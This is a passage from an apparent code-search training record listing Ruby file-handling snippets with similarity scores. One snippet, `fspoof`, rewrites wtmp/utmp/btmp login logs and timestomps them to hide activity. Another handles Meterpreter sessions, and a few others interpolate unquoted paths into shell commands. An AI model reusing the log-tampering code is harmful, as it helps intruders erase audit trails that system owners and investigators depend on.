$config[\"settings\"][\"prompt_prune_duplicates\"] and f != target_file\n msg = \"duplicate: equal size \\'#{File.basename(f) }\\' remove new copy ? [y/n] \"\n prompt(f,\"delete\",msg)\n return 2\n elsif stats[\"src_size\"] != stats[\"dst_size\"] and f != target_file\n\n if $config[\"settings\"][\"prune_duplicates_choose_larger\"]\n if stats[\"src_size\"] > stats[\"dst_size\"]\n msg = \"duplicate: src larger than current, removing the current #{target_file}\"\n prompt(target_file,\"delete\",msg)\n end\n if stats[\"src_size\"] < stats[\"dst_size\"]\n msg = \"duplicate: src smaller than current, removing the current #{target_file}\"\n prompt(target_file,\"delete\",msg)\n end\n else\n msg = \"duplicate: src \\'#{f}\\' (#{stats[\"src_size\"]}) -> dst \\'#{target_file}\\' (#{stats[\"dst_size\"]}) fix manually\"\n log msg\n end\n\n else\n log \"warning src and dst equal for '#{File.basename(f)}\\' with auto pruning enabled we choose to do nothing\"\n end\n \n if $config[\"settings\"][\"log_level\"] > 2\n if stats[\"src_size\"] == stats[\"dst_size\"]\n log \"warning duplicate equal size: src \\'#{f}\\' -> dst \\'#{target_file}\\'\"\n # should be safe to save some time here and prompt to ask if one wishes to remove src file\n else\n log \"warning duplicate: src \\'#{f}\\' (#{stats[\"src_size\"]}) -> dst \\'#{target_file}\\' (#{stats[\"dst_size\"]})\"\n end\n end\n return 2\n end\n \n is_space = ensure_free_space f, target\n \n if is_space \n # if the directory does not exist it is created\n FileUtils.mkdir_p(target,$options) if not File.directory? target\n begin\n\n FileUtils.mv(f,target,$options) if ( (File.dirname f) != target.gsub(/\\/$/,''))\n symlink_on_move(f,target)\n rescue => e\n log(\"error: problem with target, reason #{e.to_s}\")\n exit 1\n end\n stats[\"dst_size\"] = ( not File.size?(target_file).nil? ) ? File.size?(target_file) : 0\n if (stats[\"src_size\"] != stats[\"dst_size\"]) and not $opt[\"dry\"]\n log(\"error target file not equal to original : \\\"#{File.basename(f)}\\\"\")\n end\n\n else\n log(\"error not enough free space on \\\"#{target}\\\"\")\n exit 2\n end\n \n 1\nend",
"def update_file_size\n size = File.size(self.file_path)\n if !self.image_size? or self.image_size != size\n self.update_attributes({:image_size => size})\n end\n end",
"def resize(data_size)\n @fileobj.seek(@offset + 4)\n @fileobj.write([data_size].pack('I>'))\n unless @parent_chunk.nil?\n size_diff = @data_size - data_size\n @parent_chunk.resize(@parent_chunk.data_size - size_diff)\n end\n @data_size = data_size\n @size = data_size + HEADER_SIZE\n end",
"def move!(new_path)\n if exists?\n FileUtils.mv(path, new_path) unless File.identical?(new_path, path)\n else\n File.open(new_path, \"wb\") { |f| f.write(read) }\n end\n end",
"def set_file_size\n write_attribute(:file_size, File.size(file_name)) if (file_size.blank? and !file_name.blank?)\n end",
"def rename_file(old_filename,new_filename)\n begin\n File.rename(old_filename,new_filename)\n rescue Exception => e\n puts e.message\n end\n end",
"def lock_file\n keynumber = rand(1000000000)\n newfile = \"content#{keynumber}.txt\"\n newpath = \"#{@frpath}#{newfile}\"\n lasterror = \"\"\n\n # Try for up to approximately 12 seconds\n for i in 0..13\n begin\n FileUtils.mv(\"#{@frpath}content.txt\", newpath)\n return newpath\n rescue\n lasterror = $!\n # Sleep a random amount of time. Primes make collisions less likely.\n sleep [1.1,1.3,0.5,0.7][rand(4)]\n end\n end\n raise \"Unable to lock page #{@fitnesse_path} moving #{@frpath}content.txt to #{newpath}: #{lasterror}\"\n end",
"def mirror_file(size)\n # only allow whitelisted sizes.\n return nil unless ['m', 'l'].include? size\n\n basedir = \"#{@options.cache_dir}/#{gallery}/#{size}\"\n File.makedirs(basedir) unless File.exists?(basedir)\n filepath = \"#{basedir}/#{@filename}\"\n drop_path = \"#{@gallery}/#{@filename}\"\n if not File.exists? filepath\n body = @session.thumbnail(drop_path, size)\n File.open(filepath, 'w') {|f| f.write(body) }\n end\n\n return filepath\n end",
"def create_file(path, size)\n FileUtils.mkdir_p(File.dirname(path))\n @file = File.open(path, File::CREAT | File::EXCL | File::RDWR) \n @file.truncate(size)\n write_tail(@file, 4) # 4 is a size of long type.\n end",
"def truncate(length) File.truncate(path, length) end",
"def rename_file(old_file, new_file)\n if session.type == \"meterpreter\"\n return (session.fs.file.mv(old_file, new_file).result == 0)\n else\n if session.platform == 'windows'\n cmd_exec(%Q|move /y \"#{old_file}\" \"#{new_file}\"|) =~ /moved/\n else\n cmd_exec(%Q|mv -f \"#{old_file}\" \"#{new_file}\"|).empty?\n end\n end\n end",
"def old_resize_image(img, size)\n size = size.first if size.is_a?(Array) && size.length == 1 && !size.first.is_a?(Fixnum)\n if size.is_a?(Fixnum) || (size.is_a?(Array) && size.first.is_a?(Fixnum))\n size = [size, size] if size.is_a?(Fixnum)\n img.thumbnail!(*size)\n elsif size.is_a?(String) && size =~ /^c.*$/ # Image cropping - example geometry string: c75x75\n dimensions = size[1..size.size].split(\"x\")\n img.crop_resized!(dimensions[0].to_i, dimensions[1].to_i)\n else\n img.change_geometry(size.to_s) { |cols, rows, image| image.resize!(cols<1 ? 1 : cols, rows<1 ? 1 : rows) }\n end\n self.width = img.columns if respond_to?(:width)\n self.height = img.rows if respond_to?(:height)\n img.strip! unless attachment_options[:keep_profile]\n quality = img.format.to_s[/JPEG/] && get_jpeg_quality\n out_file = write_to_temp_file(img.to_blob { self.quality = quality if quality })\n temp_paths.unshift out_file\n self.size = File.size(self.temp_path)\n end",
"def move_origional_file\n if File.exist? @origional_file\n $logger.info \" moving previous (orig->processed)\\n #{@origional_file} ->\\n #{processed_file}\"\n FileUtils.mkdir_p(File.dirname(processed_file))\n FileUtils.mv @origional_file, processed_file\n end\n end",
"def backup_existing_file(file_path)\n FileUtils.move(file_path, \"#{file_path}-#{Time.now.to_i.to_s}\")\n end",
"def upload_file(file_dir, orig_filename, aip_filename, type)\n @log.info 'Uploading file ' + orig_filename\n @log.info \"Renaming #{type} #{aip_filename} -> #{orig_filename}\"\n\n File.rename(file_dir + '/' + aip_filename,\n file_dir + '/' + orig_filename)\n file = File.open(file_dir + '/' + orig_filename)\n\n uploaded_file = Hyrax::UploadedFile.create(file: file)\n uploaded_file.save\n\n file.close\n\n uploaded_file\nend",
"def shift_from(other)\n raise ArgumentError.new(other) unless other.kind_of?(self.class)\n unless File.ftype(other.path) == \"file\"\n raise ArgumentError.new(other)\n end\n dir = @path.dirname\n dir.mkpath unless dir.exist?\n FileUtils.mv(other.path, @path)\n end",
"def create_file(size)\n file = File.open(\"/tmp/test\", \"w\")\n 0.upto(size - 1) do |i|\n file.write(i.chr)\n end\n file.close\nend",
"def elegant_move(file_name, destination_name)\n # Generate full paths\n destination = \"#{ENV['HOME']}/#{destination_name}\"\n file = \"#{ENV['HOME']}/dotfiles/#{file_name}\"\n\n # If the destination already exists\n if (File.exists?(destination) or File.symlink?(destination))\n # If the destination has the same content as the file, skip\n if files_are_same(destination, file)\n puts \"#{file_name} - skipping\".yellow\n else\n # Create the backup dir if doesn't already exist\n `mkdir -p ~/.backup`\n\n # Else backup the old file\n backup_path = \".backup/#{destination_name}_#{Time.now.to_f}\"\n backup = \"#{ENV['HOME']}/#{backup_path}\"\n puts \"#{file_name} - moving old\".green\n # Ignore errors we may get in case of dodgy symlinks\n `mv #{destination} #{backup} 2> /dev/null`\n \n # Then link the new file\n symlink file, destination, :force => true, :verbose => false\n end\n else\n # Else link the new file\n puts \"#{file_name} - creating\".green\n symlink file, destination, :force => true, :verbose => false\n end\nend",
"def fit_to_filesystem(candidate)\n return candidate if candidate.bytesize <= MIN_PATH_MAX\n ext = File.extname(candidate)\n base = File.basename(candidate, ext)\n tmp = Dir.tmpdir\n loop do\n begin\n candidate = base + ext\n try_file = File.join(tmp, candidate)\n FileUtils.touch try_file\n FileUtils.rm try_file\n return candidate\n rescue Errno::ENAMETOOLONG\n if base.length > 0\n base.chop!\n retry\n else\n raise\n end\n end\n end\n end",
"def move\n display_change\n File.move(@real_path, new_path, false)\n end",
"def rename_file(existing_file, file_name_uuid, is_real_run)\n # create all needed information\n existing_path = existing_file\n existing_name = File.basename(existing_path)\n existing_name_without_ext = File.basename(existing_path, File.extname(existing_path))\n existing_dir = File.dirname(existing_path)\n existing_is_new = existing_name_without_ext.end_with?('Z')\n\n new_name = file_name_uuid\n new_path = File.join(existing_dir, new_name)\n new_name_without_ext = File.basename(new_name, File.extname(new_name))\n new_dir = existing_dir\n\n # check each possible situation\n if existing_is_new && File.exist?(new_path)\n # existing file is already new format, nothing to change\n {\n new_file: existing_path,\n moved: false\n }\n elsif !existing_is_new && File.exist?(new_path) && File.exist?(existing_path)\n # both new and old formats exist, do nothing\n\n @logger.info(@class_name) do\n \"Found equivalent old and new file names, no action performed. Old: #{existing_path} New: #{new_path}.\"\n end\n\n {\n new_file: new_path,\n moved: false\n }\n else\n # file is in old format, file in new format does not exist\n\n @logger.info(@class_name) { \"Moving #{existing_path} to #{new_path}.\" } if is_real_run\n FileUtils.move(existing_path, new_path) if is_real_run\n\n unless is_real_run\n @logger.info(@class_name) {\n \"Dry Run: Would have moved #{existing_path} to #{new_path}.\"\n }\n end\n\n {\n new_file: new_path,\n moved: true\n }\n\n end\n end",
"def create_file(filename, size)\n File.open(filename, \"w\") do |f|\n 1.upto(size) do\n f.putc(rand(256))\n end\n end\nend",
"def reopen_file!\n @file_contents = FileContents.new(file_path, @file_metadata)\n end",
"def fspoof(file, original, replacement)\n\tif file =~ /lastlog/i\n\t\tputs \"#{HC}#{FRED}We can#{FWHT}'#{FRED}t spoof lastlog#{FWHT},#{FRED} need to truncate it to 0 or nuke everything#{FWHT}, #{FRED}sorry#{FWHT}....#{RS}\"\n\telse\n\t\tfoo = File.stat(file)\n\t\toatime=foo.atime #atime before edit\n\t\tomtime=foo.mtime #mtime before edit\n\n\t\tf = File.open(file)\n\t\tfoo = f.readlines #Read target file into array for manipulation and re-write in a sec\n\t\tf.close\n\n\t\tbar = foo.to_s.gsub(original, replacement) #Make the swap\n\t\tif file =~ /wtmp|utmp|btmp/i\n\t\t\tf = File.open(\"#{file}.fake\", 'wb+') #Write Binary\n\t\telse\n\t\t\tf = File.open(\"#{file}.fake\", 'w+') #Write non-binary\n\t\tend\n\t\tf.puts bar #put the copy or updates to file\n\t\tf.close\n\t\ttimestomp(file, \"#{file}.fake\") #Make our new file match our original file as best as we can\n\t\tFileUtils.rm(file, :force => true) #Remove original for good\n\t\tmake_copy(\"#{file}.fake\", \"#{file}\") #Rename/Copy our fake and keep all our hard work preserved\n\t\tFileUtils.rm(\"#{file}.fake\", :force => true) #Remove fake for good\n\tend\nend",
"def rotate_sftp_file( sftp, file, limit)\n return unless file_exists( sftp, file)\n \n # move old files first\n max_files = limit - 1 \n max_files.downto( 0) { |i|\n \n if i == 0\n sftp.rename( file, \"#{file}_#{i}\")\n else\n j = i - 1\n next unless file_exists( sftp, \"#{file}_#{j}\")\n sftp.rename( \"#{file}_#{j}\", \"#{file}_#{i}\") \n end\n }\n \n puts \"Rotated remote vault file(s)\"\n end",
"def move_to(new_path, new_file_name = nil)\n res = false\n new_file_name ||= file_name\n current_user_role_names.each do |role_name|\n curr_path = file_path_for role_name: role_name\n next unless File.exist?(curr_path)\n\n self.path = new_path if new_path\n self.file_name = new_file_name\n self.valid_path_change = true\n\n transaction do\n move_from curr_path\n save!\n res = true\n end\n break\n end\n\n raise FsException::Action, \"Failed to move file to #{new_path}/#{new_file_name}\" unless res\n\n res\n end",
"def move_file (new_directory_path,file)\n FileUtils.mkdir_p new_directory_path if not File.exist? new_directory_path\n if File.exist? file and File.file? file\n if File.exist? new_directory_path + file\n puts \"# - File #{file} already exists. Skipping...\"\n FileUtils.rm file\n else\n puts \"# - Moving the file: #{file} to #{new_directory_path}...\" \n FileUtils.mv file, new_directory_path\n end\n else\n raise \"Error while moving file to #{LOG_OLD_DIR}\"\n end\nend",
"def make_old(mode=:rm) #mode=:rm or :save\n ## After introduction of dyntask, the default is to save the old file if existing\n if File.exist? @filename\n case mode\n when :save\n FileUtils.mkdir_p(File.join(File.dirname(@filename),\".save\"))\n FileUtils.mv(@filename,@filename_old=File.join(File.dirname(@filename),\".save\",File.basename(@filename)))\n when :rm\n FileUtils.rm(@filename)\n end\n end\n end",
"def replace_file(filename, data)\n remove_file filename\n create_file filename, data\nend",
"def replace_file(filename, data)\n remove_file filename\n create_file filename, data\nend",
"def image_too_small?\n @temp_file.open if @temp_file.closed?\n @temp_file.size < options[:min_size]\n end",
"def do_write # :nodoc:\n yield\n\t \n\t if defined?(MAX_FILE_SIZE) && (wio.tell > MAX_FILE_SIZE)\n\t\tnew_file\n\t end\n\tend",
"def put_object_from_file(bucket_name, key, file_name, options={})\n mime = MimeMagic.by_path(file_name)\n options[CONTENT_TYPE] = mime.type if options[CONTENT_TYPE].nil? && !mime.nil?\n buf_size = @config.recv_buf_size\n if options[CONTENT_LENGTH].nil?\n data = File.open(file_name, \"rb\")\n data_md5 = Utils.get_md5_from_file(file_name, data.size, buf_size)\n put_object(bucket_name, key, data, data_md5, data.size, options)\n else\n left_size = options[CONTENT_LENGTH]\n data_md5 = Utils.get_md5_from_file(file_name, left_size, buf_size)\n put_object(bucket_name, key, \"\", data_md5, left_size, options) do |buf_writer|\n File.open(file_name, \"rb\") do |part_fp|\n bytes_to_read = left_size > buf_size ? buf_size : left_size\n until left_size <= 0\n buf_writer << part_fp.read(bytes_to_read)\n left_size -= bytes_to_read\n end\n end\n end\n end\n end",
"def rename(file, newname)\n raise \"Sorry... 'AimsCalc rename' isn't implemented yet.\"\nend",
"def overwrite(filename)\n res = -1\n File.open(filename, 'w+') do | file | \n p file \n res = write_to_file(file) \n end \n return res\n end",
"def move_file\n\n end",
"def img_name_size(file, size)\n return file.sub(\"_300\", \"_#{size}\")\n end",
"def resizeImage(file, size)\n img_orig = Magick::Image.read(\"public/#{file}\").first\n \n width = img_orig.columns\n height = img_orig.rows\n \n if(width > size || height > size)\n if(width > height)\n height = size * height / width\n width = size\n else\n width = size * height / width\n height = size\n end\n \n img = img_orig.resize_to_fit(width, height)\n \n img.write(\"public/#{file}\")\n end\n end",
"def truncate( len = 0 )\n _must_be_a_file # raises error\n _must_be_writable # raises error\n \n old_size = self.size\n padding = len > old_size ? \"\\0\" * (len - old_size) : \"\"\n \n self.write( self.read( len ) + padding )\n end",
"def copy_truncate\n return unless ::File.exist?(@fn)\n FileUtils.concat @fn, @fn_copy\n @io.truncate 0\n\n # touch the age file if needed\n if @age\n FileUtils.touch @age_fn\n @age_fn_mtime = nil\n end\n\n @roller.roll = true\n end",
"def rename_image_files(old_name)\n [ :original , :medium , :thumb ].each do |size|\n old_path = ImagesModule.image_path_for_basename(old_name, size, true)\n if old_path\n extension = File.extname(old_path)\n new_path = image_path(size, true, extension)\n FileUtils.mv(old_path, new_path) if old_path != new_path\n end\n end\n end",
"def resize(size)\n dup.resize!(size)\n end",
"def move_file(src, dest)\n FileUtils.mv(src, dest, force: false)\nrescue Errno::EACCES\n FileUtils.cp_r(src, dest)\n FileUtils.rm_rf(src)\nend",
"def update_file_path\n if self.number_changed? || self.organization_id_changed?\n old_organization = Organization.find(self.organization_id_was)\n old_url_part = url_part_safe(self.number_was)\n \n old_path = File.join(old_organization.storage_path, old_url_part)\n \n if File.directory?(old_path)\n new_path = self.storage_path\n \n # If the organization folder does not exist, create it.\n if !File.directory?(self.organization.storage_path)\n FileUtils.mkdir_p self.organization.storage_path\n end\n \n FileUtils.mv old_path, new_path\n end\n end\n end",
"def resize_disk(disk_id, new_size)\n new_size_gib = mib_to_gib(new_size)\n\n with_thread_name(\"resize_disk(#{disk_id}, #{new_size_gib})\") do\n @logger.info(\"Resizing volume `#{disk_id}'...\")\n @openstack.with_openstack do\n volume = @openstack.volume.volumes.get(disk_id)\n cloud_error(\"Cannot resize volume because volume with #{disk_id} not found\") unless volume\n actual_size_gib = volume.size\n if actual_size_gib == new_size_gib\n @logger.info(\"Skipping resize of disk #{disk_id} because current value #{actual_size_gib} GiB is equal new value #{new_size_gib} GiB\")\n elsif actual_size_gib > new_size_gib\n not_supported_error(\"Cannot resize volume to a smaller size from #{actual_size_gib} GiB to #{new_size_gib} GiB\") if actual_size_gib > new_size_gib\n else\n attachments = volume.attachments\n cloud_error(\"Cannot resize volume '#{disk_id}' it still has #{attachments.size} attachment(s)\") unless attachments.empty?\n volume.extend(new_size_gib)\n @logger.info(\"Resizing #{disk_id} from #{actual_size_gib} GiB to #{new_size_gib} GiB\")\n @openstack.wait_resource(volume, :available)\n @logger.info(\"Disk #{disk_id} resized from #{actual_size_gib} GiB to #{new_size_gib} GiB\")\n end\n end\n end\n\n nil\n end",
"def move_to_target_directory!\n return if new_record? || !readable?\n\n src = diskfile\n self.disk_directory = target_directory\n dest = diskfile\n\n return if src == dest\n\n if !RedmicaS3::Connection.move_object(src, dest)\n Rails.logger.error \"Could not move attachment from #{src} to #{dest}\"\n return\n end\n\n update_column :disk_directory, disk_directory\n end",
"def rename_file\n\n end",
"def limit_dir_size(dir_name, num)\n files = Dir.glob(\"#{dir_name}/*\")\n if files.length > num\n File.delete(files[0])\n end\nend",
"def update_from_filename filename\n self.original_filename = filename\n self.valid?\n end",
"def update_file_info\n if self.path\n size = File.exists?(self.path) ? File.size(self.path) : nil\n end\n if size\n (value, units) = bits_to_human_readable(size)\n self.size = value unless value.nil? or value.empty?\n self.size_units = units unless units.nil? or units.empty?\n self.save if self.descMetadata.changed?\n end\n end",
"def min_file_size\n (1024 * 200)\n end",
"def move_to(new_path, permissions=nil, directory_permissions=nil, keep_filename=false)\n return if self.empty?\n new_path = File.expand_path(new_path)\n\n mkdir!(new_path, directory_permissions)\n move!(new_path)\n chmod!(new_path, permissions)\n self.file = {tempfile: new_path, filename: keep_filename ? original_filename : nil, content_type: declared_content_type}\n self\n end",
"def image_too_big?\n @temp_file.open if @temp_file.closed?\n @temp_file.size > options[:max_size]\n end",
"def upload_file(source,bucket,key_prefix,source_prefix,item_lookup)\n source_prefix = $1 if not source_prefix and source =~ /^(\\.+\\/*)/\n if File.directory?(source)\n upload_files(Dir[\"#{source}/*\"],bucket,key_prefix,source_prefix,item_lookup)\n else\n key = \"#{key_prefix}#{source[(source_prefix || '').length..-1]}\"\n source_size = File.size(source)\n if (last_size = item_lookup[key]) and last_size == source_size\n puts \"SKIP #{source}\"\n else\n if last_size\n print \"UPDATE #{source} => s3://#{bucket.name}/#{key} (#{last_size} => #{source_size})\"\n else\n print \"ADD #{source} => s3://#{bucket.name}/#{key} (#{source_size})\"\n end\n start_time = Time.now\n File.open(source,'rb') do|file|\n bucket.object(key).put(body: file)\n end\n puts \"... #{(Time.now - start_time).to_i}\"\n end\n end\nend",
"def copy_file_to_disk(entry, dst)\n File.open(dst, 'w', entry.header.mode & 07777) do |df|\n df.write(entry.read(16*1024)) until entry.eof?\n end\n end",
"def reopen\n @mutex.synchronize {\n if defined? @io and @io\n flush\n @io.close rescue nil\n end\n @io = ::File.new(@fn, @mode)\n }\n super\n self\n end",
"def execute()\r\n File.rename(@OldFileName, @NewFileName)\r\n end",
"def mv!( from_path, to_path )\r\n got = @ndev.rpc.command( \"file rename #{from_path} #{to_path}\" )\r\n return true if got.nil? # got no error\r\n raise IOError, got.text\r\n end",
"def update_limit_check(final_book_zip,prod_folder) \n book_size=File.size(final_book_zip)\n accepted_size=(book_size*@max_update_limit.to_i())/100\n update_size=0\n @files = Dir.glob(prod_folder+\"**/**\")\n for file in @files\n if !File::directory?(file )\n if file.to_s()!=final_book_zip\n update_size= update_size+File.size(file)\n end\n end\n end \n if update_size>accepted_size\n delete_update_folder(update_size-accepted_size,prod_folder,final_book_zip)\n end\nend",
"def to_filename(filename, size)\n filename.gsub! /^.*(\\\\|\\/)/, ''\n filename.gsub!(/[^0-9A-Za-z.\\-]/, '') \n filename.downcase.slice! 0..size\nend",
"def roll_file! # :nodoc:\n do_once(stream) do\n archive_file = \"#{path}.#{archive_file_suffix}\"\n stream.flush\n current_inode = begin\n File.stat(path).ino\n rescue\n nil\n end\n if @file_inode && current_inode == @file_inode && !File.exist?(archive_file) && File.exist?(path)\n begin\n File.rename(path, archive_file)\n after_roll\n cleanup_files!\n rescue SystemCallError\n # Ignore rename errors since it indicates the file was already rolled\n end\n end\n reopen_file\n end\n rescue => e\n $stderr.write(\"Failed to roll file #{path}: #{e.inspect}\\n#{e.backtrace.join(\"\\n\")}\\n\")\n end",
"def file_update\n File.rename(file_path,\n File.join(File.dirname(file_path),\n File.basename(file_path).gsub(/_\\d+\\.txt/, \"_#{Time.now.to_i}.txt\")))\n end",
"def set_size\n self.size = attachment.size if attachment.size\n end",
"def filesize_too_big?\n csv_file_size_limit = Rails.configuration.x.csv_file_size_limit\n @error = \"The CSV must be smaller than #{csv_file_size_limit}MB\" if file.size > csv_file_size_limit.megabytes\n end",
"def execute()\r\n FileUtils.mv(@OldFilePath, @NewFilePath)\r\n end",
"def replace_file( src, dest )\n if File.identical? src, dest\n puts \"identical #{dest}, ignoring\"\n else\n puts \"mv #{dest} #{dest}.orig\"\n File.rename( dest, \"#{dest}.orig\" )\n link_file( src, dest )\n end\nend",
"def copy_to(new_path)\n res = conn.put(new_path) do |req|\n req.headers = {\n \"X-Upyun-Copy-Source\" => \"/#{@uploader.upyun_bucket}/#{path}\",\n \"Content-Length\" => 0,\n \"Mkdir\" => \"true\"\n }\n end\n\n check_put_response!(res)\n\n File.new(@uploader, @base, new_path)\n rescue ConcurrentUploadError\n retry\n end",
"def reopen\n return if @fileformat == nil\n\n newname = DateTime.now.strftime @fileformat\n return if @filename == newname && File.exist?(@filename)\n\n @filename = newname\n @device.close unless @device == nil || @device.closed?\n @device = File.new @filename, 'a'\n @device.sync = true\n# @device.print \"-- log file #{ @filename } opened by #{ File.expand_path($0) } as ##{ $$ } on #{ DateTime.now.strftime '%Y-%m-%d %H:%M:%S' } --\\n\"\n end",
"def resize_and_write_file(filename, filename_output, max_width, max_height = nil)\n pic = Magick::Image.read(filename).first\n img_width, img_height = pic.columns, pic.rows\n ratio = img_width.to_f / max_width.to_f\n\n if max_height.nil?\n max_height = img_height / ratio\n end\n\n pic.change_geometry!(\"#{max_width}x#{max_height}>\") { |cols, rows, img|\n img.resize_to_fit!(cols, rows)\n img.write filename_output\n img.destroy!\n }\n\n nbytes, content = File.size(filename_output), nil\n File.open(filename_output, \"rb\") { |f| content = f.read nbytes }\n content\nend",
"def bundleTimestampBundleSize(dest_folder,new_timestamp,max_size) \n max_size=max_size*1024\n ts=new_timestamp\n fileSize=0 \n deletedFileList=\"\"\n @files = Dir.glob(dest_folder+\"**/**\")\n for file in @files\n if(fileSize>max_size)\n ts=ts+60\n fileSize=0\n end \n if file.to_s().end_with?(\"searchDB.sql\") \n File.utime(new_timestamp, new_timestamp, file) \n elsif file.to_s().end_with?(\"deletedList.list\")\n deletedFileList=file\n else\n File.utime(ts, ts, file)\n fileSize=fileSize+File.size(file) \n end\n end\n File.utime(ts, ts, deletedFileList) \nend",
"def file_size_under_one_mb\n num_bytes = 1_048_576\n if @file && @file.size.to_f > num_bytes\n errors.add(:file, 'File size cannot be over one megabyte.')\n end\n true\n end",
"def rename(to) File.rename(path, to) end",
"def allocate\n `dd if=/dev/zero of=\"#{local_path}\" bs=1 count=0 seek=#{filesize} > /dev/null 2>&1`\n raise \"Unable to create file #{local_path}\" if File.size(local_path) != filesize\n\n ::File.open(local_path, 'r+b').tap { |f| f.rewind }\n end",
"def truncate( length ) File.truncate( expand_tilde, length ) end",
"def save_as!(filename)\n @new_filename = filename\n save!\n self\n end",
"def gzfix(file, dest)\n gzip_header = \"\\x1f\\x8b\".force_encoding(Encoding::ASCII_8BIT)\n limit = 1024\n\n # Read a few lines, looking for gzip header\n file.rewind\n 10.times do |i|\n line = file.readline(limit).force_encoding(Encoding::ASCII_8BIT)\n if line[0,2] == gzip_header # Found gzip!\n if i == 0\n File.rename(file, dest) # Whole file is ok\n else # Use the file from this line on\n IO.copy_stream(file, dest, -1, file.pos - line.size)\n end\n return\n end\n break unless line.ascii_only? # Doesn't look like header lines\n end\n raise \"sqldump didn't seem to give us gzip data\"\n end",
"def fix\n path = Rails.root.join(\"public/system/files/#{self.id}/original/#{self.file_file_name}\")\n Formatador.display_line(\"Uploading file at: [green]#{path}[/]\")\n if File.exists?(path)\n self.attached_file.store!(File.open(path))\n self.update_attribute(:attached_file, self.file_file_name)\n Formatador.display_line(\"[yellow]Done![/]\")\n else\n Formatador.display_line(\"[red]ERROR: [/]File does not exist!\")\n end\n end",
"def new_file(filename)\n return (File.open(filename, \"w\"))\nend",
"def resize_image(file_name,resize_file_name=\"test\",resized_width=0,resized_height=0,render_file_as=\"png\")\n image = Image.import(file_name)\n resize_image = image.resize(resized_width, resized_height,true)\n\n file=File.new(resize_file_name,\"wb\")\n if render_file_as == \"png\"\n file.write resize_image.png\n elsif\t render_file_as == \"jpeg\"\n file.write resize_image.jpeg\n elsif\t render_file_as == \"gd\"\n file.write resize_image.gd\n elsif\t render_file_as == \"gd2\"\n file.write resize_image.gd2\n else\n puts \"Provide proper image\"\n end\n file.close\n end",
"def modify(options)\n Rails.logger.debug \" Modifying #{options.inspect}\"\n \n if options[:size]\n tempfile = Tempfile.new(['watchmemake','.jpg'])\n ImageScience.with_image(@file.path) { |i| i.thumbnail(options[:size]) { |t| t.save tempfile.path }}\n else\n tempfile = @file\n end\n \n return tempfile\n end",
"def promote_cached_file(no_raise: false, keep_cached: false)\n __debug_items(binding)\n return unless attach_cached\n old_file = !keep_cached\n old_file &&= file&.data\n old_file &&= FileUploader::UploadedFile.new(old_file)\n file_attacher.promote.tap { old_file&.delete }\n rescue => error\n log_exception(error, __method__)\n re_raise_if_internal_exception(error)\n raise error unless no_raise\n end",
"def rename_original_file\n new_path = \"#{CSV_PWD}/old_#{CSV_FILE_NAME}\"\n File.rename(ORIGINAL_FULL_PATH, new_path)\n new_path\n end",
"def rename_file\n @old_path = Rails.root.to_s+'/public/vendorlogos/'+self.id.to_s\n @new_path = Rails.root.to_s+'/public/vendorlogos/'+self.id.to_s+\".\"+self.logo.to_s\n if(File.exists?(@old_path))\n File.rename(@old_path, @new_path)\n end\n end",
"def calc_size\n @input_size = File.size(@original_filepath)\n @output_size = File.size(@min_filepath)\n @diff_size = @input_size - @output_size\n end",
"def file_size\n 1000 # temporarily disable file size calculation\n # TODO: fix this in production env (perhaps zencoder is not replacing target file?)\n # self.file.size\n end",
"def write_file\n\n # file_edited is false when there was no match in the whole file and thus no contents have changed.\n if file_edited\n backup_pathname = original_pathname + \".old\"\n FileUtils.cp(original_pathname, backup_pathname, :preserve => true)\n File.open(original_pathname, \"w\") do |newfile|\n contents.each do |line|\n newfile.puts(line)\n end\n newfile.flush\n end\n end\n self.file_edited = false\n end"
] |
[
"0.63312143",
"0.62076026",
"0.61313343",
"0.60734653",
"0.6023239",
"0.597376",
"0.5946079",
"0.59441215",
"0.5927258",
"0.58704036",
"0.5844318",
"0.58398014",
"0.5766982",
"0.57214856",
"0.56694317",
"0.5664562",
"0.56479615",
"0.563978",
"0.56375176",
"0.5599651",
"0.5566217",
"0.55557626",
"0.55282134",
"0.5503509",
"0.5498604",
"0.54693377",
"0.54652995",
"0.5447474",
"0.54274976",
"0.5420002",
"0.5417556",
"0.5406777",
"0.5367053",
"0.5357773",
"0.535749",
"0.5337198",
"0.5333868",
"0.5330284",
"0.53091186",
"0.53058964",
"0.52837574",
"0.52773315",
"0.52755344",
"0.52755344",
"0.52745354",
"0.52733254",
"0.52687424",
"0.5267204",
"0.52653867",
"0.52590185",
"0.52585906",
"0.5244138",
"0.52432346",
"0.5239248",
"0.52305865",
"0.52211434",
"0.52054083",
"0.52026343",
"0.51916486",
"0.5181017",
"0.5169326",
"0.51691264",
"0.5169085",
"0.51647496",
"0.5158675",
"0.5157045",
"0.51547307",
"0.5153569",
"0.51386046",
"0.512973",
"0.5120439",
"0.51165867",
"0.51045567",
"0.5103709",
"0.50978357",
"0.50971115",
"0.5092987",
"0.509045",
"0.5090166",
"0.5090134",
"0.5083255",
"0.50800925",
"0.50774294",
"0.50741845",
"0.50740254",
"0.5068466",
"0.5054118",
"0.5048477",
"0.50382316",
"0.50331473",
"0.50232553",
"0.50213957",
"0.50200063",
"0.5011704",
"0.5011182",
"0.5009283",
"0.5002556",
"0.5000043",
"0.49964195",
"0.49909064"
] |
0.5167222
|
63
|
Save the contents of source file into a master_hash hash with the given key, so long as the source file has more action entries in it. Otherwise, remove key from master_hash if the source file has been emptied.
|
def build_file_into_master_hash(master_hash, key, source_file)
entries = grab_and_hashify(source_file, SIZE_OF_HASH_BLOCKS)
if(!entries.blank?)
master_hash.merge({ key.to_sym => entries })
else
master_hash.delete(key.to_sym)
master_hash
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def remove filename\n return false unless source_hash.key?(filename)\n source_hash.delete filename\n true\n end",
"def copy_content_to(key, source_root, source_key, metadata = {})\n source_root.with_input_io(source_key) do |io|\n copy_io_to(key, io, source_root.md5_sum(source_key), source_root.size(source_key),\n {mtime: source_root.mtime(source_key)}.merge(metadata))\n end\n end",
"def process_key(key)\n if ::File.exists?(key)\n key\n else\n tempfile = ::Tempfile.new('key')\n tempfile.write(key)\n tempfile.flush\n\n tempfile.path\n end\n end",
"def move_content(source_key, target_key)\n copy_content_to(target_key, self, source_key)\n delete_content(source_key)\n end",
